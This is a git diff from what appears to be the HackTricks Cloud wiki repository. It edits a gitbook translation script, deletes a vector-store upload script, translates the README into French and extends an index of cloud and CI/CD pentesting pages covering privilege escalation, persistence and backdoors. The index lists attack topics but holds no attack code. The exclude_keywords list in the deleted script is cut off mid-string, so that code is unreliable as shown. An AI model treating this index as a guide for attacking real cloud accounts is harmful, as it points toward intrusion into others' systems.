destination_folder = os.path.join(dest_path, folder_name)
|
||||
if not os.path.exists(source_folder):
|
||||
print(f"Error: {source_folder} does not exist.")
|
||||
else:
|
||||
# Copy the theme folder
|
||||
shutil.copytree(source_folder, destination_folder)
|
||||
print(f"Copied {folder_name} folder from {source_folder} to {destination_folder}")
|
||||
def copy_gitbook_dir(source_path, dest_path):
|
||||
folder_name = ".gitbook/"
|
||||
source_folder = os.path.join(source_path, folder_name)
|
||||
destination_folder = os.path.join(dest_path, folder_name)
|
||||
if not os.path.exists(source_folder):
|
||||
print(f"Error: {source_folder} does not exist.")
|
||||
else:
|
||||
# Copy the .gitbook folder
|
||||
shutil.copytree(source_folder, destination_folder)
|
||||
print(f"Copied .gitbook folder from {source_folder} to {destination_folder}")
|
||||
|
||||
def move_files_to_push(source_path, dest_path, relative_file_paths):
|
||||
for file_path in relative_file_paths:
|
||||
source_filepath = os.path.join(source_path, file_path)
|
||||
dest_filepath = os.path.join(dest_path, file_path)
|
||||
if not os.path.exists(source_filepath):
|
||||
print(f"Error: {source_filepath} does not exist.")
|
||||
else:
|
||||
shutil.copy2(source_filepath, dest_filepath)
|
||||
print(f"[+] Copied {file_path}")
|
||||
|
||||
def copy_files(source_path, dest_path):
|
||||
file_names = ["src/SUMMARY.md", "hacktricks-preprocessor.py", "book.toml", ".gitignore", "src/robots.txt"]
|
||||
move_files_to_push(source_path, dest_path, file_names)
|
||||
def copy_summary(source_path, dest_path):
|
||||
file_name = "src/SUMMARY.md"
|
||||
source_filepath = os.path.join(source_path, file_name)
|
||||
dest_filepath = os.path.join(dest_path, file_name)
|
||||
shutil.copy2(source_filepath, dest_filepath)
|
||||
print("[+] Copied SUMMARY.md")
|
||||
|
||||
def translate_file(language, file_path, file_dest_path, model, client):
|
||||
global VERBOSE
|
||||
@@ -314,7 +234,7 @@ def translate_file(language, file_path, file_dest_path, model, client):
|
||||
translated_content = ''
|
||||
start_time = time.time()
|
||||
for chunk in content_chunks:
|
||||
# Don't translate code blocks
|
||||
# Don't trasnlate code blocks
|
||||
if chunk.startswith('```'):
|
||||
translated_content += chunk + '\n'
|
||||
else:
|
||||
@@ -328,10 +248,9 @@ def translate_file(language, file_path, file_dest_path, model, client):
|
||||
f.write(translated_content)
|
||||
|
||||
#if VERBOSE:
|
||||
print(f"Page {file_path} translated in {file_dest_path} in {elapsed_time:.2f} seconds")
|
||||
print(f"Page {file_path} translated in {elapsed_time:.2f} seconds")
|
||||
|
||||
|
||||
"""
|
||||
def translate_directory(language, source_path, dest_path, model, num_threads, client):
|
||||
all_markdown_files = []
|
||||
for subdir, dirs, files in os.walk(source_path):
|
||||
@@ -361,17 +280,17 @@ def translate_directory(language, source_path, dest_path, model, num_threads, cl
|
||||
tb = traceback.format_exc()
|
||||
print(f'Translation generated an exception: {exc}')
|
||||
print("Traceback:", tb)
|
||||
"""
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
print("- Version 2.0.0")
|
||||
print("- Version 1.1.1")
|
||||
# Set up argparse
|
||||
parser = argparse.ArgumentParser(description='Translate gitbook and copy to a new branch.')
|
||||
#parser.add_argument('-d', '--directory', action='store_true', help='Translate a full directory.')
|
||||
parser.add_argument('-d', '--directory', action='store_true', help='Translate a full directory.')
|
||||
parser.add_argument('-l', '--language', required=True, help='Target language for translation.')
|
||||
parser.add_argument('-b', '--branch', required=True, help='Branch name to copy translated files.')
|
||||
parser.add_argument('-k', '--api-key', required=True, help='API key to use.')
|
||||
parser.add_argument('-m', '--model', default="gpt-5-mini", help='The openai model to use. By default: gpt-5-mini')
|
||||
parser.add_argument('-m', '--model', default="gpt-4o-mini", help='The openai model to use. By default: gpt-4o-mini')
|
||||
parser.add_argument('-o', '--org-id', help='The org ID to use (if not set the default one will be used).')
|
||||
parser.add_argument('-f', '--file-paths', help='If this is set, only the indicated files will be translated (" , " separated).')
|
||||
parser.add_argument('-n', '--dont-cd', action='store_false', help="If this is true, the script won't change the current directory.")
|
||||
@@ -426,7 +345,7 @@ if __name__ == "__main__":
|
||||
translate_files = None # Need to initialize it here to avoid error
|
||||
if args.file_paths:
|
||||
# Translate only the indicated file
|
||||
translate_files = list(set([f.strip() for f in args.file_paths.split(',') if f]))
|
||||
translate_files = [f for f in args.file_paths.split(' , ') if f]
|
||||
for file_path in translate_files:
|
||||
#with tqdm(total=len(all_markdown_files), desc="Translating Files") as pbar:
|
||||
with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor:
|
||||
@@ -440,21 +359,23 @@ if __name__ == "__main__":
|
||||
#pbar.update()
|
||||
except Exception as exc:
|
||||
print(f'Translation generated an exception: {exc}')
|
||||
|
||||
#elif args.directory:
|
||||
|
||||
# Delete possibly removed files from the master branch
|
||||
delete_unique_files(branch)
|
||||
|
||||
elif args.directory:
|
||||
# Translate everything
|
||||
#translate_directory(language, source_folder, dest_folder, model, num_threads, client)
|
||||
translate_directory(language, source_folder, dest_folder, model, num_threads, client)
|
||||
|
||||
else:
|
||||
print("You need to indicate either a directory or a list of files to translate.")
|
||||
exit(0)
|
||||
exit(1)
|
||||
|
||||
# Copy Summary
|
||||
copy_files(source_folder, dest_folder)
|
||||
# Copy summary
|
||||
copy_summary(source_folder, dest_folder)
|
||||
|
||||
# Copy .gitbook folder
|
||||
folder_names = ["theme/", "src/images/"]
|
||||
copy_dirs(source_folder, dest_folder, folder_names)
|
||||
copy_gitbook_dir(source_folder, dest_folder)
|
||||
|
||||
# Create the branch and copy the translated files
|
||||
cp_translation_to_repo_dir_and_check_gh_branch(branch, dest_folder, translate_files)
|
||||
|
||||
@@ -1,297 +0,0 @@
|
||||
import os
|
||||
import requests
|
||||
import zipfile
|
||||
import tempfile
|
||||
import time
|
||||
import glob
|
||||
import re
|
||||
|
||||
from openai import OpenAI
|
||||
|
||||
# Initialize OpenAI client
|
||||
client = OpenAI(api_key=os.getenv("MY_OPENAI_API_KEY"))
|
||||
|
||||
# Vector Store ID
|
||||
VECTOR_STORE_ID = "vs_67e9f92e8cc88191911be54f81492fb8"
|
||||
|
||||
# --------------------------------------------------
|
||||
# Step 1: Download and Extract Markdown Files
|
||||
# --------------------------------------------------
|
||||
|
||||
def download_zip(url, save_path):
|
||||
print(f"Downloading zip from: {url}")
|
||||
response = requests.get(url)
|
||||
response.raise_for_status() # Ensure the download succeeded
|
||||
with open(save_path, "wb") as f:
|
||||
f.write(response.content)
|
||||
print(f"Downloaded zip from: {url}")
|
||||
|
||||
def extract_markdown_files(zip_path, extract_dir):
|
||||
print(f"Extracting zip: {zip_path} to {extract_dir}")
|
||||
with zipfile.ZipFile(zip_path, "r") as zip_ref:
|
||||
zip_ref.extractall(extract_dir)
|
||||
# Recursively find all .md files
|
||||
md_files = glob.glob(os.path.join(extract_dir, "**", "*.md"), recursive=True)
|
||||
|
||||
return md_files
|
||||
|
||||
# Repository URLs
|
||||
hacktricks_url = "https://github.com/HackTricks-wiki/hacktricks/archive/refs/heads/master.zip"
|
||||
hacktricks_cloud_url = "https://github.com/HackTricks-wiki/hacktricks-cloud/archive/refs/heads/main.zip"
|
||||
|
||||
# Temporary directory for downloads and extraction
|
||||
temp_dir = tempfile.mkdtemp()
|
||||
try:
|
||||
# Download zip archives
|
||||
print("Downloading Hacktricks repositories...")
|
||||
hacktricks_zip = os.path.join(temp_dir, "hacktricks.zip")
|
||||
hacktricks_cloud_zip = os.path.join(temp_dir, "hacktricks_cloud.zip")
|
||||
download_zip(hacktricks_url, hacktricks_zip)
|
||||
download_zip(hacktricks_cloud_url, hacktricks_cloud_zip)
|
||||
|
||||
# Extract the markdown files
|
||||
hacktricks_extract_dir = os.path.join(temp_dir, "hacktricks")
|
||||
hacktricks_cloud_extract_dir = os.path.join(temp_dir, "hacktricks_cloud")
|
||||
|
||||
md_files_hacktricks = extract_markdown_files(hacktricks_zip, hacktricks_extract_dir)
|
||||
md_files_hacktricks_cloud = extract_markdown_files(hacktricks_cloud_zip, hacktricks_cloud_extract_dir)
|
||||
|
||||
all_md_files = md_files_hacktricks + md_files_hacktricks_cloud
|
||||
print(f"Found {len(all_md_files)} markdown files.")
|
||||
finally:
|
||||
# Optional cleanup of temporary files after processing
|
||||
# shutil.rmtree(temp_dir)
|
||||
pass
|
||||
|
||||
# --------------------------------------------------
|
||||
# Step 2: Remove All Existing Files in the Vector Store
|
||||
# --------------------------------------------------
|
||||
# List current files in the vector store and delete each one.
|
||||
existing_files = list(client.vector_stores.files.list(VECTOR_STORE_ID))
|
||||
print(f"Found {len(existing_files)} files in the vector store. Removing them...")
|
||||
|
||||
for file_obj in existing_files:
|
||||
# Delete the underlying file object; this removes it from the vector store.
|
||||
try:
|
||||
client.files.delete(file_id=file_obj.id)
|
||||
print(f"Deleted file: {file_obj.id}")
|
||||
time.sleep(1) # Give it a moment to ensure the deletion is processed
|
||||
except Exception as e:
|
||||
# Handle potential errors during deletion
|
||||
print(f"Error deleting file {file_obj.id}: {e}")
|
||||
|
||||
# ----------------------------------------------------
|
||||
# Step 3: Clean markdown Files
|
||||
# ----------------------------------------------------
|
||||
# Clean markdown files and marge them so it's easier to
|
||||
# uplaod to the vector store.
|
||||
|
||||
|
||||
def clean_and_merge_md_files(start_folder, exclude_keywords, output_file):
|
||||
def clean_file_content(file_path):
|
||||
"""Clean the content of a single file and return the cleaned lines."""
|
||||
with open(file_path, "r", encoding="utf-8") as f:
|
||||
content = f.readlines()
|
||||
|
||||
cleaned_lines = []
|
||||
inside_hint = False
|
||||
for i,line in enumerate(content):
|
||||
# Skip lines containing excluded keywords
|
||||
if any(keyword in line for keyword in exclude_keywords):
|
||||
continue
|
||||
|
||||
# Detect and skip {% hint %} ... {% endhint %} blocks
|
||||
if "{% hint style=\"success\" %}" in line and "Learn & practice" in content[i+1]:
|
||||
inside_hint = True
|
||||
if "{% endhint %}" in line:
|
||||
inside_hint = False
|
||||
continue
|
||||
if inside_hint:
|
||||
continue
|
||||
|
||||
if line.startswith("#") and "reference" in line.lower(): #If references part reached, just stop reading the file
|
||||
break
|
||||
|
||||
# Skip lines with <figure> ... </figure>
|
||||
if re.match(r"<figure>.*?</figure>", line):
|
||||
continue
|
||||
|
||||
# Add the line if it passed all checks
|
||||
cleaned_lines.append(line.rstrip())
|
||||
|
||||
# Remove excess consecutive empty lines
|
||||
cleaned_lines = remove_consecutive_empty_lines(cleaned_lines)
|
||||
return cleaned_lines
|
||||
|
||||
def remove_consecutive_empty_lines(lines):
|
||||
"""Allow no more than one consecutive empty line."""
|
||||
cleaned_lines = []
|
||||
previous_line_empty = False
|
||||
for line in lines:
|
||||
if line.strip() == "":
|
||||
if not previous_line_empty:
|
||||
cleaned_lines.append("")
|
||||
previous_line_empty = True
|
||||
else:
|
||||
cleaned_lines.append(line)
|
||||
previous_line_empty = False
|
||||
return cleaned_lines
|
||||
|
||||
def gather_files_in_order(start_folder):
|
||||
"""Gather all .md files in a depth-first order."""
|
||||
files = []
|
||||
for root, _, filenames in os.walk(start_folder):
|
||||
md_files = sorted([os.path.join(root, f) for f in filenames if f.endswith(".md") and f.lower() not in ["summary.md", "references.md"]])
|
||||
files.extend(md_files)
|
||||
return files
|
||||
|
||||
# Gather files in depth-first order
|
||||
all_files = gather_files_in_order(start_folder)
|
||||
|
||||
# Process files and merge into a single output
|
||||
with open(output_file, "w", encoding="utf-8") as output:
|
||||
for file_path in all_files:
|
||||
# Clean the content of the file
|
||||
cleaned_content = clean_file_content(file_path)
|
||||
|
||||
# Skip saving if the cleaned file has fewer than 10 non-empty lines
|
||||
if len([line for line in cleaned_content if line.strip()]) < 10:
|
||||
continue
|
||||
|
||||
# Get the name of the file for the header
|
||||
file_name = os.path.basename(file_path)
|
||||
|
||||
# Write header, cleaned content, and 2 extra new lines
|
||||
output.write(f"### Start file: {file_name} ###\n\n")
|
||||
output.write("\n".join(cleaned_content))
|
||||
output.write("\n\n")
|
||||
|
||||
# Specify the starting folder and output file
|
||||
start_folder = os.getcwd()
|
||||
|
||||
# Keywords to exclude from lines
|
||||
exclude_keywords = [
|
||||
"hacktricks-training.md",
|
||||
", "hacktricks.md")
|
||||
htc_file = os.path.join(tempfile.gettempdir(), "hacktricks-cloud.md")
|
||||
clean_and_merge_md_files(hacktricks_extract_dir, exclude_keywords, ht_file)
|
||||
print(f"Merged content has been saved to: {ht_file}")
|
||||
clean_and_merge_md_files(hacktricks_cloud_extract_dir, exclude_keywords, htc_file)
|
||||
print(f"Merged content has been saved to: {htc_file}")
|
||||
|
||||
|
||||
# ----------------------------------------------------
|
||||
# Step 4: Upload All Markdown Files to the Vector Store
|
||||
# ----------------------------------------------------
|
||||
# Upload two files to the vector store.
|
||||
# Uploading .md hacktricks files individually can be slow,
|
||||
# so thats why we merged it before into just 2 files.
|
||||
|
||||
file_streams = []
|
||||
|
||||
ht_stream = open(ht_file, "rb")
|
||||
file_streams.append(ht_stream)
|
||||
htc_stream = open(htc_file, "rb")
|
||||
file_streams.append(htc_stream)
|
||||
|
||||
file_batch = client.vector_stores.file_batches.upload_and_poll(
|
||||
vector_store_id=VECTOR_STORE_ID,
|
||||
files=file_streams
|
||||
)
|
||||
|
||||
time.sleep(60) # Sleep for a minute to ensure the upload is processed
|
||||
ht_stream.close()
|
||||
htc_stream.close()
|
||||
|
||||
|
||||
""""This was to upload each .md independently, wich turned out to be a nightmare
|
||||
# Ensure we don't exceed the maximum number of file streams
|
||||
|
||||
for file_path in all_md_files:
|
||||
# Check if we have reached the maximum number of streams
|
||||
if len(file_streams) >= 300:
|
||||
print("Reached maximum number of file streams (300). Uploading current batch...")
|
||||
# Upload the current batch before adding more files
|
||||
file_batch = client.vector_stores.file_batches.upload_and_poll(
|
||||
vector_store_id=VECTOR_STORE_ID,
|
||||
files=file_streams
|
||||
)
|
||||
print("Upload status:", file_batch.status)
|
||||
print("File counts:", file_batch.file_counts)
|
||||
# Clear the list for the next batch
|
||||
file_streams = []
|
||||
time.sleep(120) # Sleep for 2 minutes to avoid hitting API limits
|
||||
try:
|
||||
stream = open(file_path, "rb")
|
||||
file_streams.append(stream)
|
||||
except Exception as e:
|
||||
print(f"Error opening {file_path}: {e}")
|
||||
|
||||
if file_streams:
|
||||
# Upload files and poll for completion
|
||||
file_batch = client.vector_stores.file_batches.upload_and_poll(
|
||||
vector_store_id=VECTOR_STORE_ID,
|
||||
files=file_streams
|
||||
)
|
||||
print("Upload status:", file_batch.status)
|
||||
print("File counts:", file_batch.file_counts)
|
||||
else:
|
||||
print("No markdown files to upload.")"
|
||||
|
||||
|
||||
# Close all file streams
|
||||
for stream in file_streams:
|
||||
stream.close()
|
||||
"""
|
||||
File diff suppressed because one or more lines are too long
@@ -4,10 +4,9 @@
|
||||
|
||||
<figure><img src="images/cloud.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
_Hacktricks logos & motion designed by_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
### Run HackTricks Cloud Locally
|
||||
_Logos et animations Hacktricks conçus par_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
### Exécuter HackTricks Cloud localement
|
||||
```bash
|
||||
# Download latest version of hacktricks cloud
|
||||
git clone https://github.com/HackTricks-wiki/hacktricks-cloud
|
||||
@@ -34,24 +33,23 @@ export LANG="master" # Leave master for English
|
||||
# Run the docker container indicating the path to the hacktricks-cloud folder
|
||||
docker run -d --rm --platform linux/amd64 -p 3377:3000 --name hacktricks_cloud -v $(pwd)/hacktricks-cloud:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
|
||||
```
|
||||
Votre copie locale de HackTricks Cloud sera **disponible à [http://localhost:3377](http://localhost:3377)** après une minute.
|
||||
|
||||
Your local copy of HackTricks Cloud will be **available at [http://localhost:3377](http://localhost:3377)** after a minute.
|
||||
### **Méthodologie Pentesting CI/CD**
|
||||
|
||||
### **Pentesting CI/CD Methodology**
|
||||
|
||||
**In the HackTricks CI/CD Methodology you will find how to pentest infrastructure related to CI/CD activities.** Read the following page for an **introduction:**
|
||||
**Dans la Méthodologie HackTricks CI/CD vous trouverez comment pentest l'infrastructure liée aux activités CI/CD.** Lisez la page suivante pour une **introduction :**
|
||||
|
||||
[pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
|
||||
|
||||
### Pentesting Cloud Methodology
|
||||
### Méthodologie Pentesting Cloud
|
||||
|
||||
**In the HackTricks Cloud Methodology you will find how to pentest cloud environments.** Read the following page for an **introduction:**
|
||||
**Dans la Méthodologie HackTricks Cloud vous trouverez comment pentest les environnements cloud.** Lisez la page suivante pour une **introduction :**
|
||||
|
||||
[pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md)
|
||||
|
||||
### License & Disclaimer
|
||||
### Licence & clause de non-responsabilité
|
||||
|
||||
**Check them in:**
|
||||
**Consultez-les ici :**
|
||||
|
||||
[HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq)
|
||||
|
||||
@@ -60,4 +58,3 @@ Your local copy of HackTricks Cloud will be **available at [http://localhost:337
|
||||

|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
271
src/SUMMARY.md
271
src/SUMMARY.md
@@ -9,6 +9,7 @@
|
||||
# 🏭 Pentesting CI/CD
|
||||
|
||||
- [Pentesting CI/CD Methodology](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
|
||||
- [Docker Build Context Abuse in Cloud Envs](pentesting-ci-cd/docker-build-context-abuse.md)
|
||||
- [Gitblit Security](pentesting-ci-cd/gitblit-security/README.md)
|
||||
- [Ssh Auth Bypass](pentesting-ci-cd/gitblit-security/gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md)
|
||||
- [Github Security](pentesting-ci-cd/github-security/README.md)
|
||||
@@ -41,6 +42,7 @@
|
||||
- [Atlantis Security](pentesting-ci-cd/atlantis-security.md)
|
||||
- [Cloudflare Security](pentesting-ci-cd/cloudflare-security/README.md)
|
||||
- [Cloudflare Domains](pentesting-ci-cd/cloudflare-security/cloudflare-domains.md)
|
||||
- [Cloudflare Workers Pass Through Proxy Ip Rotation](pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md)
|
||||
- [Cloudflare Zero Trust Network](pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md)
|
||||
- [Okta Security](pentesting-ci-cd/okta-security/README.md)
|
||||
- [Okta Hardening](pentesting-ci-cd/okta-security/okta-hardening.md)
|
||||
@@ -55,6 +57,7 @@
|
||||
# ⛈️ Pentesting Cloud
|
||||
|
||||
- [Pentesting Cloud Methodology](pentesting-cloud/pentesting-cloud-methodology.md)
|
||||
- [Luks2 Header Malleability Null Cipher Abuse](pentesting-cloud/confidential-computing/luks2-header-malleability-null-cipher-abuse.md)
|
||||
- [Kubernetes Pentesting](pentesting-cloud/kubernetes-security/README.md)
|
||||
- [Kubernetes Basics](pentesting-cloud/kubernetes-security/kubernetes-basics.md)
|
||||
- [Pentesting Kubernetes Services](pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md)
|
||||
@@ -84,6 +87,7 @@
|
||||
- [GCP - Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/README.md)
|
||||
- [GCP - App Engine Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md)
|
||||
- [GCP - Artifact Registry Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md)
|
||||
- [GCP - Bigtable Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigtable-post-exploitation.md)
|
||||
- [GCP - Cloud Build Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-build-post-exploitation.md)
|
||||
- [GCP - Cloud Functions Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md)
|
||||
- [GCP - Cloud Run Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-run-post-exploitation.md)
|
||||
@@ -98,7 +102,6 @@
|
||||
- [GCP - Pub/Sub Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md)
|
||||
- [GCP - Secretmanager Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md)
|
||||
- [GCP - Security Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-post-exploitation.md)
|
||||
- [Gcp Vertex Ai Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md)
|
||||
- [GCP - Workflows Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-workflows-post-exploitation.md)
|
||||
- [GCP - Storage Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md)
|
||||
- [GCP - Privilege Escalation](pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md)
|
||||
@@ -107,6 +110,7 @@
|
||||
- [GCP - Artifact Registry Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md)
|
||||
- [GCP - Batch Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md)
|
||||
- [GCP - BigQuery Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md)
|
||||
- [GCP - Bigtable Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md)
|
||||
- [GCP - ClientAuthConfig Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md)
|
||||
- [GCP - Cloudbuild Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md)
|
||||
- [GCP - Cloudfunctions Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md)
|
||||
@@ -121,6 +125,7 @@
|
||||
- [GCP - Deploymentmaneger Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md)
|
||||
- [GCP - IAM Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md)
|
||||
- [GCP - KMS Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md)
|
||||
- [GCP - Firebase Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md)
|
||||
- [GCP - Orgpolicy Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md)
|
||||
- [GCP - Pubsub Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md)
|
||||
- [GCP - Resourcemanager Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md)
|
||||
@@ -129,6 +134,7 @@
|
||||
- [GCP - Serviceusage Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md)
|
||||
- [GCP - Sourcerepos Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md)
|
||||
- [GCP - Storage Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md)
|
||||
- [GCP - Vertex AI Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md)
|
||||
- [GCP - Workflows Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md)
|
||||
- [GCP - Generic Permissions Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-misc-perms-privesc.md)
|
||||
- [GCP - Network Docker Escape](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md)
|
||||
@@ -138,6 +144,7 @@
|
||||
- [GCP - App Engine Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-app-engine-persistence.md)
|
||||
- [GCP - Artifact Registry Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-artifact-registry-persistence.md)
|
||||
- [GCP - BigQuery Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-bigquery-persistence.md)
|
||||
- [GCP - Bigtable Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-bigtable-persistence.md)
|
||||
- [GCP - Cloud Functions Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-functions-persistence.md)
|
||||
- [GCP - Cloud Run Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-run-persistence.md)
|
||||
- [GCP - Cloud Shell Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-shell-persistence.md)
|
||||
@@ -185,6 +192,7 @@
|
||||
- [GCP - Spanner Enum](pentesting-cloud/gcp-security/gcp-services/gcp-spanner-enum.md)
|
||||
- [GCP - Stackdriver Enum](pentesting-cloud/gcp-security/gcp-services/gcp-stackdriver-enum.md)
|
||||
- [GCP - Storage Enum](pentesting-cloud/gcp-security/gcp-services/gcp-storage-enum.md)
|
||||
- [GCP - Vertex AI Enum](pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md)
|
||||
- [GCP - Workflows Enum](pentesting-cloud/gcp-security/gcp-services/gcp-workflows-enum.md)
|
||||
- [GCP <--> Workspace Pivoting](pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md)
|
||||
- [GCP - Understanding Domain-Wide Delegation](pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-understanding-domain-wide-delegation.md)
|
||||
@@ -216,109 +224,139 @@
|
||||
- [AWS - Federation Abuse](pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md)
|
||||
- [AWS - Permissions for a Pentest](pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md)
|
||||
- [AWS - Persistence](pentesting-cloud/aws-security/aws-persistence/README.md)
|
||||
- [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md)
|
||||
- [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md)
|
||||
- [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md)
|
||||
- [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md)
|
||||
- [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md)
|
||||
- [AWS - ECR Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md)
|
||||
- [AWS - ECS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md)
|
||||
- [AWS - Elastic Beanstalk Persistence](pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md)
|
||||
- [AWS - EFS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md)
|
||||
- [AWS - IAM Persistence](pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md)
|
||||
- [AWS - KMS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md)
|
||||
- [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md)
|
||||
- [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md)
|
||||
- [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md)
|
||||
- [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md)
|
||||
- [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md)
|
||||
- [AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)](pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md)
|
||||
- [AWS - ECR Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md)
|
||||
- [AWS - ECS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md)
|
||||
- [AWS - Elastic Beanstalk Persistence](pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md)
|
||||
- [AWS - EFS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md)
|
||||
- [AWS - IAM Persistence](pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md)
|
||||
- [AWS - KMS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md)
|
||||
- [AWS - Lambda Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md)
|
||||
- [AWS - Abusing Lambda Extensions](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md)
|
||||
- [AWS - Lambda Alias Version Policy Backdoor](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-alias-version-policy-backdoor.md)
|
||||
- [AWS - Lambda Async Self Loop Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-async-self-loop-persistence.md)
|
||||
- [AWS - Lambda Layers Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md)
|
||||
